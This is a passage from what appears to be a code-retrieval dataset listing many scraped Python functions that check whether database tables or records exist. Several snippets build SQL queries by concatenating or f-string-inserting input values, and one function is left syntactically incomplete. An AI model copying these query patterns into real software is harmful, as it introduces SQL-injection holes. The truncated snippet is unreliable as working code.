False","def has_table(self, table):\n con = self.connection\n cur = con.cursor()\n res = cur.execute(\"\"\"SELECT COUNT(*) FROM sqlite_master\n WHERE type='table' AND name='%s'\"\"\" % table)\n tcnt = cur.fetchall()\n cur.close()\n if tcnt[0][0] > 0:\n return True\n else:\n return False","def has_stockrecords(self):\n try:\n a=self.stockrecords.pk\n return True\n except:\n return False","def checkIfMeasuringObjectExists(table, name, fk):\n\ttry:\n\t\tcon = sqlite3.connect('PampDb.db')\n\t\tcur = con.cursor()\n\t\tcur.execute(\"SELECT * FROM \" + table + \" WHERE name='\" + name + \"'\")\n\t\tob = cur.fetchall()\n\t\tbo = False\n\t\tif not ob:\n\t\t\tcur.execute(\"INSERT INTO '\" + table + \"' (name, organisationId) VALUES ('\" + name + \"', '\" + str(fk) + \"')\")\n\t\t\tcon.commit()\n\t\t\tcur.execute(\"SELECT * FROM \" + table + \" WHERE name='\" + name + \"'\")\n\t\t\tobj = cur.fetchall()\n\t\t\tcorObj = obj[0]\n\t\t\treturn corObj\n\t\telse:\n\t\t\tfor row in ob:\n\t\t\t\tif row[2] == fk:\n\t\t\t\t\tbo = True\n\t\t\t\t\treturn row\n\t\t\tif not bo:\n\t\t\t\tcur.execute(\"INSERT INTO '\" + table + \"' (name, organisationId) VALUES ('\" + name + \"', '\" + str(fk) + \"')\")\n\t\t\t\tcon.commit()\n\t\t\t\tcur.execute(\"SELECT * FROM \" + table + \" WHERE name='\" + name + \"' AND organisationId='\" + str(fk) + \"'\")\n\t\t\t\tobj = cur.fetchall()\n\t\t\t\tcorObj = obj[0]\n\t\t\t\treturn corObj\n\t\tcon.commit()\n\t\tcon.close()\n\texcept:\n\t\tprint('Could not run function checkIfMeasuringObjectExists from DbController')","def is_new_data(df: pd.DataFrame) -> bool:\n import io\n\n with io.StringIO() as s:\n save_as_data_table(df, s)\n new_data = s.getvalue()\n\n existing_data = read_data_table(as_text=True)\n\n return new_data != existing_data","def test_table_false_positives(self):\n pass","def check_for_new_data(self):\n return","def raw_exist(self, table: str, data: dict) -> bool:\n table_check_limits = {'temperature': 2, 'pressure': 1}\n request = '''SELECT * \n FROM %s \n WHERE datetime=:datetime \n AND service=:service \n ORDER BY timestamp DESC \n LIMIT %s''' % (table, table_check_limits[table])\n self.c.execute(request, {\n 'table': table,\n 'datetime': data['datetime'],\n 'service': data['service'],\n })\n db_data = self.c.fetchall()\n\n if len(db_data) == 1:\n if data['value'] == db_data[0][3]:\n return True\n else:\n return False\n\n if len(db_data) == 2:\n result = False\n # comparing timestamps.\n if db_data[0][1][0:16] == db_data[1][1][0:16]:\n for raw in db_data:\n if data['value'] == raw[3]:\n result = True\n else:\n if data['value'] == db_data[0][3]:\n result = True\n return result","def check_tables_populated(self) -> bool:\n sources = self.metadata.scan().get(\"Items\", [])\n if len(sources) < len(SourceName):\n logger.info(\"Gene sources table is missing expected sources.\")\n return False\n\n records = self.genes.query(\n IndexName=\"item_type_index\",\n KeyConditionExpression=Key(\"item_type\").eq(\"identity\"),\n Limit=1,\n )\n if len(records.get(\"Items\", [])) < 1:\n logger.info(\"Gene records index is empty.\")\n return False\n\n normalized_records = self.genes.query(\n IndexName=\"item_type_index\",\n KeyConditionExpression=Key(\"item_type\").eq(RecordType.MERGER.value),\n Limit=1,\n )\n if len(normalized_records.get(\"Items\", [])) < 1:\n logger.info(\"Normalized gene records index is empty.\")\n return False\n\n return True","def is_column_load(self) -> bool:\n opts = self._orm_compile_options()\n return opts is not None and opts._for_refresh_state","async def _check_db_initialized(self) -> bool:\n q = \"\"\"SELECT count(*)\n FROM information_schema.TABLES\n WHERE (TABLE_SCHEMA = %s) AND (TABLE_NAME = %s)\"\"\"\n res = await self.fetch_single(q, (self.dbname, 'version'))\n if res == 0:\n return False\n return True","def exists (self, db):\n return hasattr(self, db) and isinstance(getattr(self, db), Database)","def exists(self):\n return self.obj is not None","def check_database(self):\r\n self.logger.log(logger.LogLevel.INFO, 'Checking database tables')\r\n table_stats = self.check_table(query.TABLE_STATS, query.QUERY_CREATE_TABLE_STATS())\r\n if table_stats is False:\r\n return False\r\n table_tweets = self.check_table(query.TABLE_TWEETS, query.QUERY_CREATE_TABLE_TWEETS())\r\n if table_tweets is False:\r\n return False\r\n table_posts = self.check_table(query.TABLE_POSTS, query.QUERY_CREATE_TABLE_POSTS())\r\n if table_posts is False:\r\n return False\r\n table_follows = self.check_table(query.TABLE_FOLLOWS, query.QUERY_CREATE_TABLE_FOLLOWS())\r\n if table_follows is False:\r\n return False\r\n return True","def table_check(tablename, path):\n instance = arcno(path)\n tablelist = [i for i,j in instance.actual_list.items()]\n return True if tablename in tablelist else False","def db_exists(self, db):\n raise NotImplementedError()","def _is_sqlalchemy_object(obj):\n # TODO: better way?\n return hasattr(obj, \"_sa_instance_state\")","def has_data(self, *args, **kwargs):\n return False","def exists_in_db(self) -> bool:\n query = \"\"\"SELECT * \n FROM Users \n WHERE Username=?;\"\"\"\n return len(self.db.fetchall(query, values=(self.username,))) > 0","def check_db_for_vid(self):\n with db.cursor() as cursor:\n if self.videoId in db.\n pass","def has_data(self) -> bool:\n return bool(self.data)","def settable(self) -> bool:\n return self._data_provider.settable","def check_table(self):\n self.missing()\n return self._table(self._data_list)","def ifAlreadyDone(self, cxRepo, schemaRepo, schema, tablename):\n logging.debug(f\"\"\"check if {schema}.{tablename} has been analyzed\"\"\")\n conn = self.connect(cxRepo)\n sql = f\"\"\"select table_name from {schemaRepo}.tablediff where lower\n (table_name) = lower('{tablename}') and schema1 = '{schema}' and\n server1_status = 'ready' and server1_status = 'ready' and result in\n ('ready', 'init')\"\"\"\n with conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n row = curs.fetchone()\n if row is None:\n return 1\n else:\n return 0","def checkIfExists(self, key):\n\t\t\t\n\t\tif self.db.get(key):\n\t\t\treturn self.db.get(key)\n\t\telse:\n\t\t\treturn False","def exist(self, table: str, libref: str =\"\") -> bool:\n code = 'data _null_; e = exist(\"'\n if len(libref):\n code += libref+\".\"\n code += \"'\"+table.strip()+\"'n\"+'\"'+\");\\n\"\n code += 'v = exist(\"'\n if len(libref):\n code += libref+\".\"\n code += \"'\"+table.strip()+\"'n\"+'\"'+\", 'VIEW');\\n if e or v then e = 1;\\n\"\n code += \"te='TABLE_EXISTS='; put te e;run;\\n\"\n\n ll = self.submit(code, \"text\")\n\n l2 = ll['LOG'].rpartition(\"TABLE_EXISTS= \")\n l2 = l2[2].partition(\"\\n\")\n exists = int(l2[0])\n\n return bool(exists)","def __check_write_success_insert(self, data, path):\n with open(path, 'r') as f:\n for line in f:\n if len(line) > 1:\n last_line = line\n if last_line:\n if data[\"row_id\"] == json.loads(line)[\"row_id\"] and data[\"data\"] == json.loads(line)[\"data\"]:\n return True\n return False","def record_exists(self, record):\n record_exists = False\n\n logging.debug('Check if record exists in table')\n if not self._dbconnect or not self._cursor:\n raise Exception('Invalid call to Context Manager method!')\n\n date = record.get('date', '')\n time = record.get('time', '')\n location = record.get('location', '')\n node_id = record.get('nodeID', '')\n\n self._cursor.execute(\"\"\"SELECT count(*) FROM {} WHERE \\\n date == ? and time = ? and location = ? and nodeID = ?\"\"\".format(self._name), (date, time, location, node_id))\n\n if self._cursor.fetchone()[FIRST_ROW] == SINGLE_RECORD:\n record_exists = True\n\n logging.debug('Record exists? : {}'.format(record_exists))\n return record_exists","def speed_table_exists(self):\n\n return self.__table_exists(Speed)","def load_data(self):\n df= self.read_file()\n for row,col in df.iterrows():\n Employeeid = int(col['Empolyeeid'])\n Employee_Name = col['Employee_Name']\n Age = col['Age']\n Salary = col['Salary']\n self.table.put_item(\n Item={\n \"Employeeid\":Employeeid,\n \"Employee_Name\": Employee_Name,\n \"Age\": Age,\n \"Salary\": Salary\n }\n )\n return True","def event_in_database(event: event_models.Event) -> bool:\n id_dict = async_to_sync(event_utils.generate_event_id_dict)(event)\n var = event_utils.events_collection().find_one(id_dict)\n return bool(var)","def isLoaded(self):\n\t\tif (self.Loaded):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False","def isLoaded():\n return _loaded is not None","def check_if_row_exists(self, session, data):\n\n row_exists = None\n user_id = 0\n\n try:\n\n user_row = self.get_user_by_id(session, data)\n\n if user_row is not None:\n user_id = user_row.user_id\n else:\n user_id = 0\n\n logger.info('User Row object in DB: %s', str(user_row))\n\n row_exists = session.query(UsersAuthModel).filter(UsersAuthModel.user_id == user_id). \\\n filter(UsersAuthModel.is_active == \"true\").scalar()\n\n logger.info('Row to data: {}, Exists: %s'.format(data), str(row_exists))\n\n except SQLAlchemyError as exc:\n row_exists = None\n logger.exception('An exception was occurred while execute transactions: %s', str(str(exc.args) + ':' +\n str(exc.code)))\n raise mvc_exc.IntegrityError(\n 'Row not stored in \"{}\". IntegrityError: {}'.format(data.get('username'),\n str(str(exc.args) + ':' + str(exc.code)))\n )\n finally:\n session.close()\n\n return row_exists","def has_data(self):\n return self._data is not None","def has_table(self, table):\n return table in self.get_table_list(\".\" in table)","def load(self):\n db = CrawlDBI.DBI(dbtype='crawler')\n if self.rowid is not None:\n rows = db.select(table='checkables',\n fields=['rowid',\n 'path',\n 'type',\n 'cos',\n 'cart',\n 'ttypes',\n 'checksum',\n 'last_check',\n 'fails',\n 'reported'],\n where=\"rowid = ?\",\n data=(self.rowid,))\n else:\n rows = db.select(table='checkables',\n fields=['rowid',\n 'path',\n 'type',\n 'cos',\n 'cart',\n 'ttypes',\n 'checksum',\n 'last_check',\n 'fails',\n 'reported'],\n where=\"path = ?\",\n data=(self.path,))\n if 0 == len(rows):\n self.in_db = False\n elif 1 == len(rows):\n self.in_db = True\n rz = list(rows[0])\n self.rowid = rz.pop(0)\n self.path = rz.pop(0)\n self.type = rz.pop(0)\n self.cos = rz.pop(0)\n self.cart = rz.pop(0)\n self.ttypes = rz.pop(0)\n self.checksum = rz.pop(0)\n self.last_check = rz.pop(0)\n try:\n self.fails = rz.pop(0)\n except IndexError:\n self.fails = 0\n try:\n self.reported = rz.pop(0)\n except IndexError:\n self.reported = 0\n self.dirty = False\n else:\n raise StandardError(\"There appears to be more than one copy \" +\n \"of %s in the database\" % self)\n\n db.close()","def has_data(self):\n return len(self.data) > 0","def load(self):\n while True:\n sqldata = self._runsql()\n if not sqldata: # No rows to process. Return for now\n return True\n\n status = self._load_elastic(sqldata)\n if status[1]:\n self.logger.error(\"Errors occurred : %s\" % status[1])\n # TODO: Should we quit(return False) here \n # since there are errors ?\n\n # This should be the remainder and nothing left after that\n # since we didn't exceed max rows\n if len(sqldata) < self.max_rows:\n self.logger.info(\"Finished inserting up to %d\" % self.seq)\n return True","def record_exists(user):\n cnx = create_connection()\n cursor = cnx.cursor()\n\n query = \"SELECT * FROM \" + USAGE_TABLE['name'] + \" WHERE \" + USAGE_TABLE['relational_column'] + \" = '\" + user + \"'\"\n\n try:\n cursor.execute(query)\n except mysql.connector.Error as e:\n cursor.close()\n cnx.close()\n if e.errno == errorcode.ER_BAD_TABLE_ERROR:\n print(\"Table doesn't exist!\")\n else:\n print(e)\n return\n\n rows = cursor.fetchall()\n cnx.close()\n cursor.close()\n\n if len(rows):\n return True\n else:\n return False","def exists(self):\n try:\n key = self.key\n except DoesNotExist:\n \"\"\"\n If the object doesn't exists anymore, its PK is deleted, so the\n \"self.key\" call will raise a DoesnotExist exception. We catch it\n to return False, as the field doesn't exists too.\n \"\"\"\n return False\n else:\n return self.connection.exists(key)","def can_insert(self):\r\n return self.query._sort == [desc('_date')]","def _insert_if_new(cursor, table, data, **kwargs):\n pk_only_data = _subdict(METADATA_PRIMARY_KEYS[table], data, enforce_key_presence=True)\n if not _exists(cursor, table, pk_only_data):\n log('inserting new {}...'.format(table), end='')\n result = _insert_dict(cursor, table, data, **kwargs)\n log('done.')\n return result","def ofTable(self, tablename):\n return tablename == self._table.name","def is_ready(self):\n try:\n self._data\n except ValidationError as ve:\n log.error(f\"{self.endpoint} relation data not yet valid. ({ve}\")\n return False\n if self._data is None:\n log.error(f\"{self.endpoint} relation data not yet available.\")\n return False\n return all(\n field is not None\n for field in [\n self._data.auth_url,\n self._data.username,\n self._data.password,\n self._data.user_domain_name,\n self._data.project_domain_name,\n self._data.project_name,\n ]\n )","def hasTable(*keys):\r\n\treturn getGameData().hasTable(*keys)","def exist_import_record(session, doc_id, sentence_index):\n try:\n team = session.query(DocumentSentenceText).filter_by(doc_id=doc_id,\n sentence_index=sentence_index).first()\n if team:\n return True\n else:\n return False\n except Exception:\n traceback.print_exc()\n return False","def check_table(self, table_name: str) -> bool:\n try:\n if self.engine.dialect.has_table(self.engine.connect(), table_name):\n return self.get_input(table_name)\n return False\n except Exception as err:\n logger.error(\"check_table [error] -> %s\" % err)\n return False","def has_data(self) -> bool:\n raise NotImplementedError","def has_id(self, data):\n # (Dict[str, Any]) -> bool\n return self.id_column.name in data","def check_if_exists(self, bookID):\n query = f\"\"\"SELECT * from {TABLE} WHERE bookID = '{bookID}';\"\"\"\n res = self.cursor.execute(query)\n\n if self.cursor.fetchall():\n return True\n else:\n return False","def exists(self, obj):\n return False","def need_update(self):\n self.logging.debug( \"need_update()\" )\n\n for name in self.tables:\n\n md5 = self.dbs_tables[name]['md5']\n test = get_md5(self.dbs_tables[name]['path'])\n\n self.logging.debug('(%s) table:%s md5:[old: %s new: %s]' % \\\n (self.db,name,md5,test) )\n\n if test != md5: return True\n\n return False","def table_exists(self, table_name):\n\t\tif self.__dbfile is None:\n\t\t\treturn False\n\n\t\tcursor = self._conn.cursor()\n\t\tcursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' ORDER BY name\")\n\t\ttables = [t[0] for t in cursor.fetchall()]\n\t\treturn table_name in tables","def _do_check(self):\n try:\n #breakpoint()\n ApplicationsItem.objects.exists()\n #print (\"Checking\")\n return True\n\n except Exception:\n client.captureException()\n return False","def exists(self):\n return True"],"string":"[\n \"def data_loaded_check(self):\\n return True\",\n \"def db_has_object(rep_cursor, sql, query_args):\\n rep_cursor.execute(sql, query_args)\\n if rep_cursor.rowcount == 0:\\n return False\\n return True\",\n \"def _exists (self):\\n cursor = self._exec (self.select)\\n return bool (cursor.fetchall ())\",\n \"def _check_row_exists(self, pk):\\n session = self.session_factory()\\n exists = session.query(PipelineRun).filter_by(id=pk).first()\\n session.close()\\n if exists:\\n return True\\n return False\",\n \"def _exists(cursor, table, data):\\n cursor.execute('SELECT 1 FROM {} WHERE ({}) = ({})'.format(table, *_query_fields(data)), data)\\n return bool(cursor.fetchone())\",\n \"def exists(self):\\n self.cursor.execute(f\\\"\\\"\\\"\\n SELECT 1\\n FROM {self.table_name}\\n WHERE {self.lookup_type}='{self.word}'\\n \\\"\\\"\\\")\\n return True if self.cursor.fetchone() else False\",\n \"def exist_import_record(session, start_knowledge_table, end_knowledge_table, start_row_id, start_row_name):\\n\\n try:\\n team = session.query(KnowledgeTableColumnMapRecord).filter_by(start_table_id=start_knowledge_table.id,\\n end_table_id=end_knowledge_table.id,\\n start_row_id=start_row_id,\\n start_row_name=start_row_name).first()\\n if team:\\n return True\\n else:\\n return False\\n except Exception:\\n traceback.print_exc()\\n return False\",\n \"def exist(self):\",\n \"def exist_import_record(session, start_knowledge_table, end_knowledge_table, start_row_id):\\n\\n try:\\n team = session.query(KnowledgeTableRowMapRecord).filter_by(start_table_id=start_knowledge_table.id,\\n end_table_id=end_knowledge_table.id,\\n start_row_id=start_row_id).first()\\n if team:\\n return True\\n else:\\n return False\\n except Exception:\\n # traceback.print_exc()\\n return False\",\n \"def check(self):\\n self.conn = psycopg2.connect(self.conn_string)\\n self.cur = self.conn.cursor(\\\"rifflecursor\\\")\\n self.cur.execute(\\\"\\\"\\\"\\n SELECT * FROM yelp_stored WHERE business_id = %s;\\n \\\"\\\"\\\", (self.bus_id,))\\n sql_tup = self.cur.fetchall()\\n self.conn.close()\\n if sql_tup == []:\\n return False\\n else:\\n return sql_tup\",\n \"def table_is_empty(self):\\n check_query = QSqlQuery(self.reader_connection)\\n query = f'SELECT * FROM {self.table_name}'\\n check_query.exec(query)\\n empty_table = check_query.first()\\n check_query.finish()\\n return not empty_table\",\n \"def isExist(data):\\n return True/False\",\n \"def __contains__(self, obj):\\n if isinstance(obj, self):\\n query = self.where(**obj.data).select()\\n result = query.execute()\\n if result.count:\\n return True\\n return False\",\n \"def tableExists(self):\\n return self.entity in self.db.table_list().run(self.r)\",\n \"def exists(self, table, cursor):\\n cursor.execute(f\\\"SELECT name FROM sqlite_master WHERE type='table' AND name='{table}'\\\")\\n res = cursor.fetchone()\\n return True if res else False\",\n \"def table_exists(self):\\n # Check if table already exists\\n self._cursor.execute(\\\"SELECT count(name) FROM sqlite_master WHERE \\\\\\n type='table' AND name='{}'\\\".format(self._name))\\n\\n if self._cursor.fetchone()[FIRST_ROW] == SINGLE_RECORD:\\n table_exists = True\\n else:\\n table_exists = False\\n\\n logging.debug('Table exists? : {}'.format(table_exists))\\n return table_exists\",\n \"def exists_in_db(self) -> bool:\\n query = '''SELECT * \\n FROM ESLReceipts \\n WHERE Transaction_Number=? AND Date=? AND Description=? \\n AND Memo=? AND Amount_Debit=? \\n AND Amount_Credit=? AND Balance=? \\n AND Check_Number=? AND Fees=? \\n AND Card_Type=? AND Is_Payment=? \\n AND Is_Transaction=? AND User_id=?;'''\\n return len(self.db.fetchall(query, values=self.to_tuple())) > 0\",\n \"def initDataBase():\\n if len(Elems):\\n if not addElem2Specie():\\n return False\\n return True\",\n \"def table_contains_elements(self, model):\\n if model.objects.count() > 1:\\n return True\\n return False\",\n \"def db_exists(self, db):\\n # HDF5 is file based\\n return os.path.isfile(db)\",\n \"def exist_import_record(session, kg_table_id, kg_table_primary_key):\\n\\n try:\\n team = session.query(DocumentSourceRecord).filter_by(kg_table_id=kg_table_id,\\n kg_table_primary_key=kg_table_primary_key).first()\\n if team:\\n return True\\n else:\\n return False\\n except Exception:\\n traceback.print_exc()\\n return False\",\n \"def memory_table_ready():\\n global prev_memory_table\\n memory_table = get_memory_table()\\n is_ready = memory_table[\\\"group\\\"] != prev_memory_table\\n prev_memory_table = memory_table[\\\"group\\\"]\\n return is_ready\",\n \"def is_init(self):\\n cur = self.connection.cursor()\\n masterdata = list(cur.execute(\\n 'SELECT * FROM sqlite_master WHERE name=\\\"metadata\\\"'\\n ))\\n if len(masterdata) == 0:\\n return False\\n schema_version = list(cur.execute(\\n 'SELECT value FROM metadata ' +\\n 'WHERE key=\\\"schema_version\\\"'\\n ))\\n if len(schema_version) > 0 and \\\\\\n schema_version[0][0] == self.schema_version:\\n return True\\n return False\",\n \"def is_valid_row(self):\\r\\n return self.valid_row\",\n \"def has_table(self, name: str) -> bool:\\n try:\\n self.execute(\\\"select * from {table} limit 1\\\", name)\\n return True\\n except sqlite3.OperationalError:\\n return False\",\n \"def db_status_ok():\\n for Model in apps.get_models():\\n table_name = Model._meta.db_table\\n if not db_table_exists(table_name):\\n return False\\n return True\",\n \"def persisted(self):\\n return True if self._data else False\",\n \"def is_loaded(self):\\n return self.wallet_data is not None\",\n \"def is_populated(self):\\n return len(self.__entries) > 0\",\n \"def checkTable(self, in_table_name):\\n phrase1 = \\\"SELECT count(*) FROM sqlite_master\\\"\\n phrase2 = \\\"type='table' AND name='{}';\\\".format(in_table_name)\\n self.cursor.execute(\\\"{} WHERE {}\\\".format(phrase1, phrase2))\\n return self.cursor.fetchone()[0] == 1\",\n \"def exists(self):\\r\\n try:\\r\\n self.refresh()\\r\\n except:\\r\\n return False\\r\\n return True\",\n \"def __call__(self):\\n try:\\n _ = self.engine.table_names()\\n except OperationalError:\\n return False\\n else:\\n return True\",\n \"def is_todo_table_empty(self):\\n cur = self.conn.execute(\\\"\\\"\\\"SELECT COUNT(*) FROM todo;\\\"\\\"\\\")\\n if cur != None:\\n row = cur.fetchone()\\n if row[0] == 0:\\n return True\\n else:\\n return False\\n print(\\\"is_todo_table_empty: table does not exist\\\")\",\n \"def check_table(cur, table: str) -> bool:\\n table_data = cur.execute(f\\\"\\\"\\\"\\n SELECT name \\n FROM sqlite_master \\n WHERE type='table' \\n AND name='{table}'\\n \\\"\\\"\\\")\\n table_fetch = table_data.fetchall()\\n if table_fetch:\\n return True\\n return False\",\n \"def check_data(cls, database, data):\\n if not data:\\n abort(204, 'No data received')\\n entity = {}\\n try:\\n entity = loads(data)\\n except:\\n print \\\"erreur chargement json %s\\\" % (data,)\\n abort(404, 'Error on loading data')\\n mapper = inspect(database)\\n orm_data = {}\\n for column in mapper.attrs:\\n if isinstance(column, ColumnProperty) and \\\\\\n not column.columns[0].nullable and \\\\\\n not column.columns[0].foreign_keys and \\\\\\n not column.columns[0].primary_key:\\n orm_data[column.key] = column.columns[0].nullable\\n else:\\n pass\\n for field in orm_data.iterkeys():\\n if entity.has_key(field):\\n #del(orm_data[column])\\n pass\\n else:\\n return False\\n return entity\",\n \"def db_exists(self):\\n \\n with self.connection:\\n c = self.connection.cursor()\\n c.execute(\\\"SELECT EXISTS(SELECT 1 FROM sqlite_master WHERE name=?)\\\", [PUBLICATIONS_TABLE])\\n exists = c.fetchone()\\n if(exists[0] == 1):\\n return True\\n else:\\n return False\",\n \"def _has_data(cls):\\n return User.objects.count() > 0\",\n \"def table_exists(self, mode):\\n\\n try:\\n ref = self._get_table_obj(mode=mode)\\n except google.api_core.exceptions.NotFound:\\n ref = None\\n\\n return bool(ref)\",\n \"def exist_import_record(session, doc_id):\\n try:\\n team = session.query(DocumentSentenceText).filter_by(doc_id=doc_id).first()\\n if team:\\n return True\\n else:\\n return False\\n except Exception:\\n traceback.print_exc()\\n return False\",\n \"def is_existing(self):\\n return self.backend.is_existing\",\n \"def can_insert(data):\\n return hasattr(data, 'read')\",\n \"def _object_exists(name):\\n conn = sqlite3.connect('/dev/input')\\n try:\\n cur = conn.cursor()\\n sql = 'SELECT ROWID FROM object WHERE name=? AND deleted=0'\\n cur.execute(sql, (name, ))\\n result = cur.fetchall()\\n return len(result) > 0\\n finally:\\n conn.close()\",\n \"def _check_para(self):\\n if not self._check_table(\\\"Para\\\"):\\n cur = self.conn.cursor()\\n sql = \\\"create table if not exists Para(ksxq datetime,A integer, B byte);\\\"\\n cur.execute(sql)\\n init_time = datetime.strptime('3/1/04', \\\"%m/%d/%y\\\").strftime('%m/%d/%y %H:%M:%S')\\n sql = \\\"insert into Para values ('{}', 0, 0);\\\".format(init_time)\\n cur.execute(sql)\\n cur.close()\\n self.conn.commit()\\n return True\",\n \"def check_db(self):\\n self.cursor.execute(\\\"\\\"\\\"PRAGMA table_info( birthday );\\\"\\\"\\\")\\n if not self.cursor.fetchone():\\n self.create_tables()\",\n \"def table_exist(self, table: str) -> bool:\\n table_name = (table,)\\n self.c.execute('''SELECT count(name) FROM sqlite_master WHERE type='table' AND name=?''', table_name)\\n\\n if self.c.fetchone()[0] == 1:\\n return True\\n else:\\n return False\",\n \"def has_table(self, table):\\n con = self.connection\\n cur = con.cursor()\\n res = cur.execute(\\\"\\\"\\\"SELECT COUNT(*) FROM sqlite_master\\n WHERE type='table' AND name='%s'\\\"\\\"\\\" % table)\\n tcnt = cur.fetchall()\\n cur.close()\\n if tcnt[0][0] > 0:\\n return True\\n else:\\n return False\",\n \"def has_stockrecords(self):\\n try:\\n a=self.stockrecords.pk\\n return True\\n except:\\n return False\",\n \"def checkIfMeasuringObjectExists(table, name, fk):\\n\\ttry:\\n\\t\\tcon = sqlite3.connect('PampDb.db')\\n\\t\\tcur = con.cursor()\\n\\t\\tcur.execute(\\\"SELECT * FROM \\\" + table + \\\" WHERE name='\\\" + name + \\\"'\\\")\\n\\t\\tob = cur.fetchall()\\n\\t\\tbo = False\\n\\t\\tif not ob:\\n\\t\\t\\tcur.execute(\\\"INSERT INTO '\\\" + table + \\\"' (name, organisationId) VALUES ('\\\" + name + \\\"', '\\\" + str(fk) + \\\"')\\\")\\n\\t\\t\\tcon.commit()\\n\\t\\t\\tcur.execute(\\\"SELECT * FROM \\\" + table + \\\" WHERE name='\\\" + name + \\\"'\\\")\\n\\t\\t\\tobj = cur.fetchall()\\n\\t\\t\\tcorObj = obj[0]\\n\\t\\t\\treturn corObj\\n\\t\\telse:\\n\\t\\t\\tfor row in ob:\\n\\t\\t\\t\\tif row[2] == fk:\\n\\t\\t\\t\\t\\tbo = True\\n\\t\\t\\t\\t\\treturn row\\n\\t\\t\\tif not bo:\\n\\t\\t\\t\\tcur.execute(\\\"INSERT INTO '\\\" + table + \\\"' (name, organisationId) VALUES ('\\\" + name + \\\"', '\\\" + str(fk) + \\\"')\\\")\\n\\t\\t\\t\\tcon.commit()\\n\\t\\t\\t\\tcur.execute(\\\"SELECT * FROM \\\" + table + \\\" WHERE name='\\\" + name + \\\"' AND organisationId='\\\" + str(fk) + \\\"'\\\")\\n\\t\\t\\t\\tobj = cur.fetchall()\\n\\t\\t\\t\\tcorObj = obj[0]\\n\\t\\t\\t\\treturn corObj\\n\\t\\tcon.commit()\\n\\t\\tcon.close()\\n\\texcept:\\n\\t\\tprint('Could not run function checkIfMeasuringObjectExists from DbController')\",\n \"def is_new_data(df: pd.DataFrame) -> bool:\\n import io\\n\\n with io.StringIO() as s:\\n save_as_data_table(df, s)\\n new_data = s.getvalue()\\n\\n existing_data = read_data_table(as_text=True)\\n\\n return new_data != existing_data\",\n \"def test_table_false_positives(self):\\n pass\",\n \"def check_for_new_data(self):\\n return\",\n \"def raw_exist(self, table: str, data: dict) -> bool:\\n table_check_limits = {'temperature': 2, 'pressure': 1}\\n request = '''SELECT * \\n FROM %s \\n WHERE datetime=:datetime \\n AND service=:service \\n ORDER BY timestamp DESC \\n LIMIT %s''' % (table, table_check_limits[table])\\n self.c.execute(request, {\\n 'table': table,\\n 'datetime': data['datetime'],\\n 'service': data['service'],\\n })\\n db_data = self.c.fetchall()\\n\\n if len(db_data) == 1:\\n if data['value'] == db_data[0][3]:\\n return True\\n else:\\n return False\\n\\n if len(db_data) == 2:\\n result = False\\n # comparing timestamps.\\n if db_data[0][1][0:16] == db_data[1][1][0:16]:\\n for raw in db_data:\\n if data['value'] == raw[3]:\\n result = True\\n else:\\n if data['value'] == db_data[0][3]:\\n result = True\\n return result\",\n \"def check_tables_populated(self) -> bool:\\n sources = self.metadata.scan().get(\\\"Items\\\", [])\\n if len(sources) < len(SourceName):\\n logger.info(\\\"Gene sources table is missing expected sources.\\\")\\n return False\\n\\n records = self.genes.query(\\n IndexName=\\\"item_type_index\\\",\\n KeyConditionExpression=Key(\\\"item_type\\\").eq(\\\"identity\\\"),\\n Limit=1,\\n )\\n if len(records.get(\\\"Items\\\", [])) < 1:\\n logger.info(\\\"Gene records index is empty.\\\")\\n return False\\n\\n normalized_records = self.genes.query(\\n IndexName=\\\"item_type_index\\\",\\n KeyConditionExpression=Key(\\\"item_type\\\").eq(RecordType.MERGER.value),\\n Limit=1,\\n )\\n if len(normalized_records.get(\\\"Items\\\", [])) < 1:\\n logger.info(\\\"Normalized gene records index is empty.\\\")\\n return False\\n\\n return True\",\n \"def is_column_load(self) -> bool:\\n opts = self._orm_compile_options()\\n return opts is not None and opts._for_refresh_state\",\n \"async def _check_db_initialized(self) -> bool:\\n q = \\\"\\\"\\\"SELECT count(*)\\n FROM information_schema.TABLES\\n WHERE (TABLE_SCHEMA = %s) AND (TABLE_NAME = %s)\\\"\\\"\\\"\\n res = await self.fetch_single(q, (self.dbname, 'version'))\\n if res == 0:\\n return False\\n return True\",\n \"def exists (self, db):\\n return hasattr(self, db) and isinstance(getattr(self, db), Database)\",\n \"def exists(self):\\n return self.obj is not None\",\n \"def check_database(self):\\r\\n self.logger.log(logger.LogLevel.INFO, 'Checking database tables')\\r\\n table_stats = self.check_table(query.TABLE_STATS, query.QUERY_CREATE_TABLE_STATS())\\r\\n if table_stats is False:\\r\\n return False\\r\\n table_tweets = self.check_table(query.TABLE_TWEETS, query.QUERY_CREATE_TABLE_TWEETS())\\r\\n if table_tweets is False:\\r\\n return False\\r\\n table_posts = self.check_table(query.TABLE_POSTS, query.QUERY_CREATE_TABLE_POSTS())\\r\\n if table_posts is False:\\r\\n return False\\r\\n table_follows = self.check_table(query.TABLE_FOLLOWS, query.QUERY_CREATE_TABLE_FOLLOWS())\\r\\n if table_follows is False:\\r\\n return False\\r\\n return True\",\n \"def table_check(tablename, path):\\n instance = arcno(path)\\n tablelist = [i for i,j in instance.actual_list.items()]\\n return True if tablename in tablelist else False\",\n \"def db_exists(self, db):\\n raise NotImplementedError()\",\n \"def _is_sqlalchemy_object(obj):\\n # TODO: better way?\\n return hasattr(obj, \\\"_sa_instance_state\\\")\",\n \"def has_data(self, *args, **kwargs):\\n return False\",\n \"def exists_in_db(self) -> bool:\\n query = \\\"\\\"\\\"SELECT * \\n FROM Users \\n WHERE Username=?;\\\"\\\"\\\"\\n return len(self.db.fetchall(query, values=(self.username,))) > 0\",\n \"def check_db_for_vid(self):\\n with db.cursor() as cursor:\\n if self.videoId in db.\\n pass\",\n \"def has_data(self) -> bool:\\n return bool(self.data)\",\n \"def settable(self) -> bool:\\n return self._data_provider.settable\",\n \"def check_table(self):\\n self.missing()\\n return self._table(self._data_list)\",\n \"def ifAlreadyDone(self, cxRepo, schemaRepo, schema, tablename):\\n logging.debug(f\\\"\\\"\\\"check if {schema}.{tablename} has been analyzed\\\"\\\"\\\")\\n conn = self.connect(cxRepo)\\n sql = f\\\"\\\"\\\"select table_name from {schemaRepo}.tablediff where lower\\n (table_name) = lower('{tablename}') and schema1 = '{schema}' and\\n server1_status = 'ready' and server1_status = 'ready' and result in\\n ('ready', 'init')\\\"\\\"\\\"\\n with conn:\\n with conn.cursor() as curs:\\n curs.execute(sql)\\n row = curs.fetchone()\\n if row is None:\\n return 1\\n else:\\n return 0\",\n \"def checkIfExists(self, 